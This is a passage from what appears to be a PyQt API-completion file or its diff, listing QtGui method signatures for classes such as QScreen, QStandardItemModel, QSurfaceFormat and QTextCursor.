-> float +QtGui.QScreen.logicalDotsPerInch?4() -> float +QtGui.QScreen.availableSize?4() -> QSize +QtGui.QScreen.availableGeometry?4() -> QRect +QtGui.QScreen.virtualSiblings?4() -> unknown-type +QtGui.QScreen.virtualSize?4() -> QSize +QtGui.QScreen.virtualGeometry?4() -> QRect +QtGui.QScreen.availableVirtualSize?4() -> QSize +QtGui.QScreen.availableVirtualGeometry?4() -> QRect +QtGui.QScreen.nativeOrientation?4() -> Qt.ScreenOrientation +QtGui.QScreen.primaryOrientation?4() -> Qt.ScreenOrientation +QtGui.QScreen.orientation?4() -> Qt.ScreenOrientation +QtGui.QScreen.orientationUpdateMask?4() -> Qt.ScreenOrientations +QtGui.QScreen.setOrientationUpdateMask?4(Qt.ScreenOrientations) +QtGui.QScreen.angleBetween?4(Qt.ScreenOrientation, Qt.ScreenOrientation) -> int +QtGui.QScreen.transformBetween?4(Qt.ScreenOrientation, Qt.ScreenOrientation, QRect) -> QTransform +QtGui.QScreen.mapBetween?4(Qt.ScreenOrientation, Qt.ScreenOrientation, QRect) -> QRect +QtGui.QScreen.isPortrait?4(Qt.ScreenOrientation) -> bool +QtGui.QScreen.isLandscape?4(Qt.ScreenOrientation) -> bool +QtGui.QScreen.grabWindow?4(quintptr, int x=0, int y=0, int width=-1, int height=-1) -> QPixmap +QtGui.QScreen.refreshRate?4() -> float +QtGui.QScreen.devicePixelRatio?4() -> float +QtGui.QScreen.geometryChanged?4(QRect) +QtGui.QScreen.physicalDotsPerInchChanged?4(float) +QtGui.QScreen.logicalDotsPerInchChanged?4(float) +QtGui.QScreen.primaryOrientationChanged?4(Qt.ScreenOrientation) +QtGui.QScreen.orientationChanged?4(Qt.ScreenOrientation) +QtGui.QScreen.refreshRateChanged?4(float) +QtGui.QScreen.physicalSizeChanged?4(QSizeF) +QtGui.QScreen.virtualGeometryChanged?4(QRect) +QtGui.QScreen.availableGeometryChanged?4(QRect) +QtGui.QScreen.manufacturer?4() -> QString +QtGui.QScreen.model?4() -> QString +QtGui.QScreen.serialNumber?4() -> QString +QtGui.QScreen.virtualSiblingAt?4(QPoint) -> QScreen +QtGui.QSessionManager.RestartHint?10 +QtGui.QSessionManager.RestartHint.RestartIfRunning?10 +QtGui.QSessionManager.RestartHint.RestartAnyway?10 +QtGui.QSessionManager.RestartHint.RestartImmediately?10 +QtGui.QSessionManager.RestartHint.RestartNever?10 +QtGui.QSessionManager.sessionId?4() -> QString +QtGui.QSessionManager.sessionKey?4() -> QString +QtGui.QSessionManager.allowsInteraction?4() -> bool +QtGui.QSessionManager.allowsErrorInteraction?4() -> bool +QtGui.QSessionManager.release?4() +QtGui.QSessionManager.cancel?4() +QtGui.QSessionManager.setRestartHint?4(QSessionManager.RestartHint) +QtGui.QSessionManager.restartHint?4() -> QSessionManager.RestartHint +QtGui.QSessionManager.setRestartCommand?4(QStringList) +QtGui.QSessionManager.restartCommand?4() -> QStringList +QtGui.QSessionManager.setDiscardCommand?4(QStringList) +QtGui.QSessionManager.discardCommand?4() -> QStringList +QtGui.QSessionManager.setManagerProperty?4(QString, QString) +QtGui.QSessionManager.setManagerProperty?4(QString, QStringList) +QtGui.QSessionManager.isPhase2?4() -> bool +QtGui.QSessionManager.requestPhase2?4() +QtGui.QStandardItemModel?1(QObject parent=None) +QtGui.QStandardItemModel.__init__?1(self, QObject parent=None) +QtGui.QStandardItemModel?1(int, int, QObject parent=None) +QtGui.QStandardItemModel.__init__?1(self, int, int, QObject parent=None) +QtGui.QStandardItemModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtGui.QStandardItemModel.parent?4(QModelIndex) -> QModelIndex +QtGui.QStandardItemModel.parent?4() -> QObject +QtGui.QStandardItemModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtGui.QStandardItemModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtGui.QStandardItemModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.data?4(QModelIndex, int role=Qt.DisplayRole) -> QVariant +QtGui.QStandardItemModel.setData?4(QModelIndex, QVariant, int role=Qt.EditRole) -> bool +QtGui.QStandardItemModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtGui.QStandardItemModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.EditRole) -> bool +QtGui.QStandardItemModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtGui.QStandardItemModel.clear?4() +QtGui.QStandardItemModel.supportedDropActions?4() -> Qt.DropActions +QtGui.QStandardItemModel.itemData?4(QModelIndex) -> unknown-type +QtGui.QStandardItemModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtGui.QStandardItemModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtGui.QStandardItemModel.itemFromIndex?4(QModelIndex) -> QStandardItem +QtGui.QStandardItemModel.indexFromItem?4(QStandardItem) -> QModelIndex +QtGui.QStandardItemModel.item?4(int, int column=0) -> QStandardItem +QtGui.QStandardItemModel.setItem?4(int, int, QStandardItem) +QtGui.QStandardItemModel.setItem?4(int, QStandardItem) +QtGui.QStandardItemModel.invisibleRootItem?4() -> QStandardItem +QtGui.QStandardItemModel.horizontalHeaderItem?4(int) -> QStandardItem +QtGui.QStandardItemModel.setHorizontalHeaderItem?4(int, QStandardItem) +QtGui.QStandardItemModel.verticalHeaderItem?4(int) -> QStandardItem +QtGui.QStandardItemModel.setVerticalHeaderItem?4(int, QStandardItem) +QtGui.QStandardItemModel.setHorizontalHeaderLabels?4(QStringList) +QtGui.QStandardItemModel.setVerticalHeaderLabels?4(QStringList) +QtGui.QStandardItemModel.setRowCount?4(int) +QtGui.QStandardItemModel.setColumnCount?4(int) +QtGui.QStandardItemModel.appendRow?4(unknown-type) +QtGui.QStandardItemModel.appendColumn?4(unknown-type) +QtGui.QStandardItemModel.insertRow?4(int, unknown-type) +QtGui.QStandardItemModel.insertColumn?4(int, unknown-type) +QtGui.QStandardItemModel.takeItem?4(int, int column=0) -> QStandardItem +QtGui.QStandardItemModel.takeRow?4(int) -> unknown-type +QtGui.QStandardItemModel.takeColumn?4(int) -> unknown-type +QtGui.QStandardItemModel.takeHorizontalHeaderItem?4(int) -> QStandardItem +QtGui.QStandardItemModel.takeVerticalHeaderItem?4(int) -> QStandardItem +QtGui.QStandardItemModel.itemPrototype?4() -> QStandardItem +QtGui.QStandardItemModel.setItemPrototype?4(QStandardItem) +QtGui.QStandardItemModel.findItems?4(QString, Qt.MatchFlags flags=Qt.MatchExactly, int column=0) -> unknown-type +QtGui.QStandardItemModel.sortRole?4() -> int +QtGui.QStandardItemModel.setSortRole?4(int) +QtGui.QStandardItemModel.appendRow?4(QStandardItem) +QtGui.QStandardItemModel.insertRow?4(int, QStandardItem) +QtGui.QStandardItemModel.insertRow?4(int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.insertColumn?4(int, QModelIndex parent=QModelIndex()) -> bool +QtGui.QStandardItemModel.mimeTypes?4() -> QStringList +QtGui.QStandardItemModel.mimeData?4(unknown-type) -> QMimeData +QtGui.QStandardItemModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtGui.QStandardItemModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtGui.QStandardItemModel.setItemRoleNames?4(unknown-type) +QtGui.QStandardItemModel.itemChanged?4(QStandardItem) +QtGui.QStandardItemModel.clearItemData?4(QModelIndex) -> bool +QtGui.QStandardItem.ItemType?10 +QtGui.QStandardItem.ItemType.Type?10 +QtGui.QStandardItem.ItemType.UserType?10 +QtGui.QStandardItem?1() +QtGui.QStandardItem.__init__?1(self) +QtGui.QStandardItem?1(QString) +QtGui.QStandardItem.__init__?1(self, QString) +QtGui.QStandardItem?1(QIcon, QString) +QtGui.QStandardItem.__init__?1(self, QIcon, QString) +QtGui.QStandardItem?1(int, int columns=1) +QtGui.QStandardItem.__init__?1(self, int, int columns=1) +QtGui.QStandardItem?1(QStandardItem) +QtGui.QStandardItem.__init__?1(self, QStandardItem) +QtGui.QStandardItem.data?4(int role=Qt.UserRole+1) -> QVariant +QtGui.QStandardItem.setData?4(QVariant, int role=Qt.UserRole+1) +QtGui.QStandardItem.text?4() -> QString +QtGui.QStandardItem.icon?4() -> QIcon +QtGui.QStandardItem.toolTip?4() -> QString +QtGui.QStandardItem.statusTip?4() -> QString +QtGui.QStandardItem.whatsThis?4() -> QString +QtGui.QStandardItem.sizeHint?4() -> QSize +QtGui.QStandardItem.font?4() -> QFont +QtGui.QStandardItem.textAlignment?4() -> Qt.Alignment +QtGui.QStandardItem.background?4() -> QBrush +QtGui.QStandardItem.foreground?4() -> QBrush +QtGui.QStandardItem.checkState?4() -> Qt.CheckState +QtGui.QStandardItem.accessibleText?4() -> QString +QtGui.QStandardItem.accessibleDescription?4() -> QString +QtGui.QStandardItem.flags?4() -> Qt.ItemFlags +QtGui.QStandardItem.setFlags?4(Qt.ItemFlags) +QtGui.QStandardItem.isEnabled?4() -> bool +QtGui.QStandardItem.setEnabled?4(bool) +QtGui.QStandardItem.isEditable?4() -> bool +QtGui.QStandardItem.setEditable?4(bool) +QtGui.QStandardItem.isSelectable?4() -> bool +QtGui.QStandardItem.setSelectable?4(bool) +QtGui.QStandardItem.isCheckable?4() -> bool +QtGui.QStandardItem.setCheckable?4(bool) +QtGui.QStandardItem.isTristate?4() -> bool +QtGui.QStandardItem.setTristate?4(bool) +QtGui.QStandardItem.isDragEnabled?4() -> bool +QtGui.QStandardItem.setDragEnabled?4(bool) +QtGui.QStandardItem.isDropEnabled?4() -> bool +QtGui.QStandardItem.setDropEnabled?4(bool) +QtGui.QStandardItem.parent?4() -> QStandardItem +QtGui.QStandardItem.row?4() -> int +QtGui.QStandardItem.column?4() -> int +QtGui.QStandardItem.index?4() -> QModelIndex +QtGui.QStandardItem.model?4() -> QStandardItemModel +QtGui.QStandardItem.rowCount?4() -> int +QtGui.QStandardItem.setRowCount?4(int) +QtGui.QStandardItem.columnCount?4() -> int +QtGui.QStandardItem.setColumnCount?4(int) +QtGui.QStandardItem.hasChildren?4() -> bool +QtGui.QStandardItem.child?4(int, int column=0) -> QStandardItem +QtGui.QStandardItem.setChild?4(int, int, QStandardItem) +QtGui.QStandardItem.setChild?4(int, QStandardItem) +QtGui.QStandardItem.insertRow?4(int, unknown-type) +QtGui.QStandardItem.insertRow?4(int, QStandardItem) +QtGui.QStandardItem.insertRows?4(int, int) +QtGui.QStandardItem.insertColumn?4(int, unknown-type) +QtGui.QStandardItem.insertColumns?4(int, int) +QtGui.QStandardItem.removeRow?4(int) +QtGui.QStandardItem.removeColumn?4(int) +QtGui.QStandardItem.removeRows?4(int, int) +QtGui.QStandardItem.removeColumns?4(int, int) +QtGui.QStandardItem.takeChild?4(int, int column=0) -> QStandardItem +QtGui.QStandardItem.takeRow?4(int) -> unknown-type +QtGui.QStandardItem.takeColumn?4(int) -> unknown-type +QtGui.QStandardItem.sortChildren?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtGui.QStandardItem.clone?4() -> QStandardItem +QtGui.QStandardItem.type?4() -> int +QtGui.QStandardItem.read?4(QDataStream) +QtGui.QStandardItem.write?4(QDataStream) +QtGui.QStandardItem.setText?4(QString) +QtGui.QStandardItem.setIcon?4(QIcon) +QtGui.QStandardItem.setToolTip?4(QString) +QtGui.QStandardItem.setStatusTip?4(QString) +QtGui.QStandardItem.setWhatsThis?4(QString) +QtGui.QStandardItem.setSizeHint?4(QSize) +QtGui.QStandardItem.setFont?4(QFont) +QtGui.QStandardItem.setTextAlignment?4(Qt.Alignment) +QtGui.QStandardItem.setBackground?4(QBrush) +QtGui.QStandardItem.setForeground?4(QBrush) +QtGui.QStandardItem.setCheckState?4(Qt.CheckState) +QtGui.QStandardItem.setAccessibleText?4(QString) +QtGui.QStandardItem.setAccessibleDescription?4(QString) +QtGui.QStandardItem.appendRow?4(unknown-type) +QtGui.QStandardItem.appendRow?4(QStandardItem) +QtGui.QStandardItem.appendColumn?4(unknown-type) +QtGui.QStandardItem.insertRows?4(int, unknown-type) +QtGui.QStandardItem.appendRows?4(unknown-type) +QtGui.QStandardItem.emitDataChanged?4() +QtGui.QStandardItem.isAutoTristate?4() -> bool +QtGui.QStandardItem.setAutoTristate?4(bool) +QtGui.QStandardItem.isUserTristate?4() -> bool +QtGui.QStandardItem.setUserTristate?4(bool) +QtGui.QStandardItem.clearData?4() +QtGui.QStaticText.PerformanceHint?10 +QtGui.QStaticText.PerformanceHint.ModerateCaching?10 +QtGui.QStaticText.PerformanceHint.AggressiveCaching?10 +QtGui.QStaticText?1() +QtGui.QStaticText.__init__?1(self) +QtGui.QStaticText?1(QString) +QtGui.QStaticText.__init__?1(self, QString) +QtGui.QStaticText?1(QStaticText) +QtGui.QStaticText.__init__?1(self, QStaticText) +QtGui.QStaticText.setText?4(QString) +QtGui.QStaticText.text?4() -> QString +QtGui.QStaticText.setTextFormat?4(Qt.TextFormat) +QtGui.QStaticText.textFormat?4() -> Qt.TextFormat +QtGui.QStaticText.setTextWidth?4(float) +QtGui.QStaticText.textWidth?4() -> float +QtGui.QStaticText.setTextOption?4(QTextOption) +QtGui.QStaticText.textOption?4() -> QTextOption +QtGui.QStaticText.size?4() -> QSizeF +QtGui.QStaticText.prepare?4(QTransform matrix=QTransform(), QFont font=QFont()) +QtGui.QStaticText.setPerformanceHint?4(QStaticText.PerformanceHint) +QtGui.QStaticText.performanceHint?4() -> QStaticText.PerformanceHint +QtGui.QStaticText.swap?4(QStaticText) +QtGui.QStyleHints.mouseDoubleClickInterval?4() -> int +QtGui.QStyleHints.startDragDistance?4() -> int +QtGui.QStyleHints.startDragTime?4() -> int +QtGui.QStyleHints.startDragVelocity?4() -> int +QtGui.QStyleHints.keyboardInputInterval?4() -> int +QtGui.QStyleHints.keyboardAutoRepeatRate?4() -> int +QtGui.QStyleHints.cursorFlashTime?4() -> int +QtGui.QStyleHints.showIsFullScreen?4() -> bool +QtGui.QStyleHints.passwordMaskDelay?4() -> int +QtGui.QStyleHints.fontSmoothingGamma?4() -> float +QtGui.QStyleHints.useRtlExtensions?4() -> bool +QtGui.QStyleHints.passwordMaskCharacter?4() -> QChar +QtGui.QStyleHints.setFocusOnTouchRelease?4() -> bool +QtGui.QStyleHints.mousePressAndHoldInterval?4() -> int +QtGui.QStyleHints.tabFocusBehavior?4() -> Qt.TabFocusBehavior +QtGui.QStyleHints.singleClickActivation?4() -> bool +QtGui.QStyleHints.cursorFlashTimeChanged?4(int) +QtGui.QStyleHints.keyboardInputIntervalChanged?4(int) +QtGui.QStyleHints.mouseDoubleClickIntervalChanged?4(int) +QtGui.QStyleHints.startDragDistanceChanged?4(int) +QtGui.QStyleHints.startDragTimeChanged?4(int) +QtGui.QStyleHints.mousePressAndHoldIntervalChanged?4(int) +QtGui.QStyleHints.tabFocusBehaviorChanged?4(Qt.TabFocusBehavior) +QtGui.QStyleHints.showIsMaximized?4() -> bool +QtGui.QStyleHints.useHoverEffects?4() -> bool +QtGui.QStyleHints.setUseHoverEffects?4(bool) +QtGui.QStyleHints.useHoverEffectsChanged?4(bool) +QtGui.QStyleHints.wheelScrollLines?4() -> int +QtGui.QStyleHints.wheelScrollLinesChanged?4(int) +QtGui.QStyleHints.showShortcutsInContextMenus?4() -> bool +QtGui.QStyleHints.mouseQuickSelectionThreshold?4() -> int +QtGui.QStyleHints.mouseQuickSelectionThresholdChanged?4(int) +QtGui.QStyleHints.setShowShortcutsInContextMenus?4(bool) +QtGui.QStyleHints.showShortcutsInContextMenusChanged?4(bool) +QtGui.QStyleHints.mouseDoubleClickDistance?4() -> int +QtGui.QStyleHints.touchDoubleTapDistance?4() -> int +QtGui.QSurfaceFormat.ColorSpace?10 +QtGui.QSurfaceFormat.ColorSpace.DefaultColorSpace?10 +QtGui.QSurfaceFormat.ColorSpace.sRGBColorSpace?10 +QtGui.QSurfaceFormat.OpenGLContextProfile?10 +QtGui.QSurfaceFormat.OpenGLContextProfile.NoProfile?10 +QtGui.QSurfaceFormat.OpenGLContextProfile.CoreProfile?10 +QtGui.QSurfaceFormat.OpenGLContextProfile.CompatibilityProfile?10 +QtGui.QSurfaceFormat.RenderableType?10 +QtGui.QSurfaceFormat.RenderableType.DefaultRenderableType?10 +QtGui.QSurfaceFormat.RenderableType.OpenGL?10 +QtGui.QSurfaceFormat.RenderableType.OpenGLES?10 +QtGui.QSurfaceFormat.RenderableType.OpenVG?10 +QtGui.QSurfaceFormat.SwapBehavior?10 +QtGui.QSurfaceFormat.SwapBehavior.DefaultSwapBehavior?10 +QtGui.QSurfaceFormat.SwapBehavior.SingleBuffer?10 +QtGui.QSurfaceFormat.SwapBehavior.DoubleBuffer?10 +QtGui.QSurfaceFormat.SwapBehavior.TripleBuffer?10 +QtGui.QSurfaceFormat.FormatOption?10 +QtGui.QSurfaceFormat.FormatOption.StereoBuffers?10 +QtGui.QSurfaceFormat.FormatOption.DebugContext?10 +QtGui.QSurfaceFormat.FormatOption.DeprecatedFunctions?10 +QtGui.QSurfaceFormat.FormatOption.ResetNotification?10 +QtGui.QSurfaceFormat?1() +QtGui.QSurfaceFormat.__init__?1(self) +QtGui.QSurfaceFormat?1(QSurfaceFormat.FormatOptions) +QtGui.QSurfaceFormat.__init__?1(self, QSurfaceFormat.FormatOptions) +QtGui.QSurfaceFormat?1(QSurfaceFormat) +QtGui.QSurfaceFormat.__init__?1(self, QSurfaceFormat) +QtGui.QSurfaceFormat.setDepthBufferSize?4(int) +QtGui.QSurfaceFormat.depthBufferSize?4() -> int +QtGui.QSurfaceFormat.setStencilBufferSize?4(int) +QtGui.QSurfaceFormat.stencilBufferSize?4() -> int +QtGui.QSurfaceFormat.setRedBufferSize?4(int) +QtGui.QSurfaceFormat.redBufferSize?4() -> int +QtGui.QSurfaceFormat.setGreenBufferSize?4(int) +QtGui.QSurfaceFormat.greenBufferSize?4() -> int +QtGui.QSurfaceFormat.setBlueBufferSize?4(int) +QtGui.QSurfaceFormat.blueBufferSize?4() -> int +QtGui.QSurfaceFormat.setAlphaBufferSize?4(int) +QtGui.QSurfaceFormat.alphaBufferSize?4() -> int +QtGui.QSurfaceFormat.setSamples?4(int) +QtGui.QSurfaceFormat.samples?4() -> int +QtGui.QSurfaceFormat.setSwapBehavior?4(QSurfaceFormat.SwapBehavior) +QtGui.QSurfaceFormat.swapBehavior?4() -> QSurfaceFormat.SwapBehavior +QtGui.QSurfaceFormat.hasAlpha?4() -> bool +QtGui.QSurfaceFormat.setProfile?4(QSurfaceFormat.OpenGLContextProfile) +QtGui.QSurfaceFormat.profile?4() -> QSurfaceFormat.OpenGLContextProfile +QtGui.QSurfaceFormat.setRenderableType?4(QSurfaceFormat.RenderableType) +QtGui.QSurfaceFormat.renderableType?4() -> QSurfaceFormat.RenderableType +QtGui.QSurfaceFormat.setMajorVersion?4(int) +QtGui.QSurfaceFormat.majorVersion?4() -> int +QtGui.QSurfaceFormat.setMinorVersion?4(int) +QtGui.QSurfaceFormat.minorVersion?4() -> int +QtGui.QSurfaceFormat.setStereo?4(bool) +QtGui.QSurfaceFormat.setOption?4(QSurfaceFormat.FormatOptions) +QtGui.QSurfaceFormat.testOption?4(QSurfaceFormat.FormatOptions) -> bool +QtGui.QSurfaceFormat.stereo?4() -> bool +QtGui.QSurfaceFormat.version?4() -> unknown-type +QtGui.QSurfaceFormat.setVersion?4(int, int) +QtGui.QSurfaceFormat.setOptions?4(QSurfaceFormat.FormatOptions) +QtGui.QSurfaceFormat.setOption?4(QSurfaceFormat.FormatOption, bool on=True) +QtGui.QSurfaceFormat.testOption?4(QSurfaceFormat.FormatOption) -> bool +QtGui.QSurfaceFormat.options?4() -> QSurfaceFormat.FormatOptions +QtGui.QSurfaceFormat.swapInterval?4() -> int +QtGui.QSurfaceFormat.setSwapInterval?4(int) +QtGui.QSurfaceFormat.setDefaultFormat?4(QSurfaceFormat) +QtGui.QSurfaceFormat.defaultFormat?4() -> QSurfaceFormat +QtGui.QSurfaceFormat.colorSpace?4() -> QSurfaceFormat.ColorSpace +QtGui.QSurfaceFormat.setColorSpace?4(QSurfaceFormat.ColorSpace) +QtGui.QSurfaceFormat.FormatOptions?1() +QtGui.QSurfaceFormat.FormatOptions.__init__?1(self) +QtGui.QSurfaceFormat.FormatOptions?1(int) +QtGui.QSurfaceFormat.FormatOptions.__init__?1(self, int) +QtGui.QSurfaceFormat.FormatOptions?1(QSurfaceFormat.FormatOptions) +QtGui.QSurfaceFormat.FormatOptions.__init__?1(self, QSurfaceFormat.FormatOptions) +QtGui.QSyntaxHighlighter?1(QTextDocument) +QtGui.QSyntaxHighlighter.__init__?1(self, QTextDocument) +QtGui.QSyntaxHighlighter?1(QObject) +QtGui.QSyntaxHighlighter.__init__?1(self, QObject) +QtGui.QSyntaxHighlighter.setDocument?4(QTextDocument) +QtGui.QSyntaxHighlighter.document?4() -> QTextDocument +QtGui.QSyntaxHighlighter.rehighlight?4() +QtGui.QSyntaxHighlighter.rehighlightBlock?4(QTextBlock) +QtGui.QSyntaxHighlighter.highlightBlock?4(QString) +QtGui.QSyntaxHighlighter.setFormat?4(int, int, QTextCharFormat) +QtGui.QSyntaxHighlighter.setFormat?4(int, int, QColor) +QtGui.QSyntaxHighlighter.setFormat?4(int, int, QFont) +QtGui.QSyntaxHighlighter.format?4(int) -> QTextCharFormat +QtGui.QSyntaxHighlighter.previousBlockState?4() -> int +QtGui.QSyntaxHighlighter.currentBlockState?4() -> int +QtGui.QSyntaxHighlighter.setCurrentBlockState?4(int) +QtGui.QSyntaxHighlighter.setCurrentBlockUserData?4(QTextBlockUserData) +QtGui.QSyntaxHighlighter.currentBlockUserData?4() -> QTextBlockUserData +QtGui.QSyntaxHighlighter.currentBlock?4() -> QTextBlock +QtGui.QTextCursor.SelectionType?10 +QtGui.QTextCursor.SelectionType.WordUnderCursor?10 +QtGui.QTextCursor.SelectionType.LineUnderCursor?10 +QtGui.QTextCursor.SelectionType.BlockUnderCursor?10 +QtGui.QTextCursor.SelectionType.Document?10 +QtGui.QTextCursor.MoveOperation?10 +QtGui.QTextCursor.MoveOperation.NoMove?10 +QtGui.QTextCursor.MoveOperation.Start?10 +QtGui.QTextCursor.MoveOperation.Up?10 +QtGui.QTextCursor.MoveOperation.StartOfLine?10 +QtGui.QTextCursor.MoveOperation.StartOfBlock?10 +QtGui.QTextCursor.MoveOperation.StartOfWord?10 +QtGui.QTextCursor.MoveOperation.PreviousBlock?10 +QtGui.QTextCursor.MoveOperation.PreviousCharacter?10 +QtGui.QTextCursor.MoveOperation.PreviousWord?10 +QtGui.QTextCursor.MoveOperation.Left?10 +QtGui.QTextCursor.MoveOperation.WordLeft?10 +QtGui.QTextCursor.MoveOperation.End?10 +QtGui.QTextCursor.MoveOperation.Down?10 +QtGui.QTextCursor.MoveOperation.EndOfLine?10 +QtGui.QTextCursor.MoveOperation.EndOfWord?10 +QtGui.QTextCursor.MoveOperation.EndOfBlock?10 +QtGui.QTextCursor.MoveOperation.NextBlock?10 +QtGui.QTextCursor.MoveOperation.NextCharacter?10 +QtGui.QTextCursor.MoveOperation.NextWord?10 +QtGui.QTextCursor.MoveOperation.Right?10 +QtGui.QTextCursor.MoveOperation.WordRight?10 +QtGui.QTextCursor.MoveOperation.NextCell?10 +QtGui.QTextCursor.MoveOperation.PreviousCell?10 +QtGui.QTextCursor.MoveOperation.NextRow?10 +QtGui.QTextCursor.MoveOperation.PreviousRow?10 +QtGui.QTextCursor.MoveMode?10 +QtGui.QTextCursor.MoveMode.MoveAnchor?10 +QtGui.QTextCursor.MoveMode.KeepAnchor?10 +QtGui.QTextCursor?1() +QtGui.QTextCursor.__init__?1(self) +QtGui.QTextCursor?1(QTextDocument) +QtGui.QTextCursor.__init__?1(self, QTextDocument) +QtGui.QTextCursor?1(QTextFrame) +QtGui.QTextCursor.__init__?1(self, QTextFrame) +QtGui.QTextCursor?1(QTextBlock) +QtGui.QTextCursor.__init__?1(self, QTextBlock) +QtGui.QTextCursor?1(QTextCursor) +QtGui.QTextCursor.__init__?1(self, QTextCursor) +QtGui.QTextCursor.isNull?4() -> bool +QtGui.QTextCursor.setPosition?4(int, QTextCursor.MoveMode mode=QTextCursor.MoveAnchor) +QtGui.QTextCursor.position?4() -> int +QtGui.QTextCursor.anchor?4() -> int +QtGui.QTextCursor.insertText?4(QString) +QtGui.QTextCursor.insertText?4(QString, QTextCharFormat) +QtGui.QTextCursor.movePosition?4(QTextCursor.MoveOperation, QTextCursor.MoveMode mode=QTextCursor.MoveAnchor, int n=1) -> bool +QtGui.QTextCursor.deleteChar?4() +QtGui.QTextCursor.deletePreviousChar?4() +QtGui.QTextCursor.select?4(QTextCursor.SelectionType) +QtGui.QTextCursor.hasSelection?4() -> bool +QtGui.QTextCursor.hasComplexSelection?4() -> bool +QtGui.QTextCursor.removeSelectedText?4() +QtGui.QTextCursor.clearSelection?4() +QtGui.QTextCursor.selectionStart?4() -> int +QtGui.QTextCursor.selectionEnd?4() -> int +QtGui.QTextCursor.selectedText?4() -> QString +QtGui.QTextCursor.selection?4() -> QTextDocumentFragment +QtGui.QTextCursor.selectedTableCells?4() -> (int, int, int, int) +QtGui.QTextCursor.block?4() -> QTextBlock +QtGui.QTextCursor.charFormat?4() -> QTextCharFormat +QtGui.QTextCursor.setCharFormat?4(QTextCharFormat) +QtGui.QTextCursor.mergeCharFormat?4(QTextCharFormat) +QtGui.QTextCursor.blockFormat?4() -> QTextBlockFormat +QtGui.QTextCursor.setBlockFormat?4(QTextBlockFormat) +QtGui.QTextCursor.mergeBlockFormat?4(QTextBlockFormat) +QtGui.QTextCursor.blockCharFormat?4() -> QTextCharFormat +QtGui.QTextCursor.setBlockCharFormat?4(QTextCharFormat) +QtGui.QTextCursor.mergeBlockCharFormat?4(QTextCharFormat) +QtGui.QTextCursor.atBlockStart?4() -> bool +QtGui.QTextCursor.atBlockEnd?4() -> bool +QtGui.QTextCursor.atStart?4() -> bool +QtGui.QTextCursor.atEnd?4() -> bool +QtGui.QTextCursor.insertBlock?4() +QtGui.QTextCursor.insertBlock?4(QTextBlockFormat) +QtGui.QTextCursor.insertBlock?4(QTextBlockFormat, QTextCharFormat) +QtGui.QTextCursor.insertList?4(QTextListFormat) -> QTextList +QtGui.QTextCursor.insertList?4(QTextListFormat.Style) -> QTextList +QtGui.QTextCursor.createList?4(QTextListFormat) -> QTextList +QtGui.QTextCursor.createList?4(QTextListFormat.Style) -> QTextList +QtGui.QTextCursor.currentList?4() -> QTextList +QtGui.QTextCursor.insertTable?4(int, int, QTextTableFormat) -> QTextTable +QtGui.QTextCursor.insertTable?4(int, int) -> QTextTable +QtGui.QTextCursor.currentTable?4() -> QTextTable +QtGui.QTextCursor.insertFrame?4(QTextFrameFormat) -> QTextFrame +QtGui.QTextCursor.currentFrame?4() -> QTextFrame +QtGui.QTextCursor.insertFragment?4(QTextDocumentFragment) +QtGui.QTextCursor.insertHtml?4(QString) +QtGui.QTextCursor.insertImage?4(QTextImageFormat) +QtGui.QTextCursor.insertImage?4(QTextImageFormat, QTextFrameFormat.Position) +QtGui.QTextCursor.insertImage?4(QString) +QtGui.QTextCursor.insertImage?4(QImage, QString name='') +QtGui.QTextCursor.beginEditBlock?4() +QtGui.QTextCursor.joinPreviousEditBlock?4() +QtGui.QTextCursor.endEditBlock?4() +QtGui.QTextCursor.blockNumber?4() -> int +QtGui.QTextCursor.columnNumber?4() -> int +QtGui.QTextCursor.isCopyOf?4(QTextCursor) -> bool +QtGui.QTextCursor.visualNavigation?4() -> bool +QtGui.QTextCursor.setVisualNavigation?4(bool) +QtGui.QTextCursor.document?4() -> QTextDocument +QtGui.QTextCursor.positionInBlock?4() -> int +QtGui.QTextCursor.setVerticalMovementX?4(int) +QtGui.QTextCursor.verticalMovementX?4() -> int +QtGui.QTextCursor.setKeepPositionOnInsert?4(bool) +QtGui.QTextCursor.keepPositionOnInsert?4() -> bool +QtGui.QTextCursor.swap?4(QTextCursor) +QtGui.Qt.mightBeRichText?4(QString) -> bool +QtGui.Qt.convertFromPlainText?4(QString, Qt.WhiteSpaceMode mode=Qt.WhiteSpacePre) -> QString +QtGui.QTextDocument.MarkdownFeature?10 +QtGui.QTextDocument.MarkdownFeature.MarkdownNoHTML?10 +QtGui.QTextDocument.MarkdownFeature.MarkdownDialectCommonMark?10 +QtGui.QTextDocument.MarkdownFeature.MarkdownDialectGitHub?10 +QtGui.QTextDocument.Stacks?10 +QtGui.QTextDocument.Stacks.UndoStack?10 +QtGui.QTextDocument.Stacks.RedoStack?10 +QtGui.QTextDocument.Stacks.UndoAndRedoStacks?10 +QtGui.QTextDocument.ResourceType?10 +QtGui.QTextDocument.ResourceType.UnknownResource?10 +QtGui.QTextDocument.ResourceType.HtmlResource?10 +QtGui.QTextDocument.ResourceType.ImageResource?10 +QtGui.QTextDocument.ResourceType.StyleSheetResource?10 +QtGui.QTextDocument.ResourceType.MarkdownResource?10 +QtGui.QTextDocument.ResourceType.UserResource?10 +QtGui.QTextDocument.FindFlag?10 +QtGui.QTextDocument.FindFlag.FindBackward?10 +QtGui.QTextDocument.FindFlag.FindCaseSensitively?10 +QtGui.QTextDocument.FindFlag.FindWholeWords?10 +QtGui.QTextDocument.MetaInformation?10 +QtGui.QTextDocument.MetaInformation.DocumentTitle?10 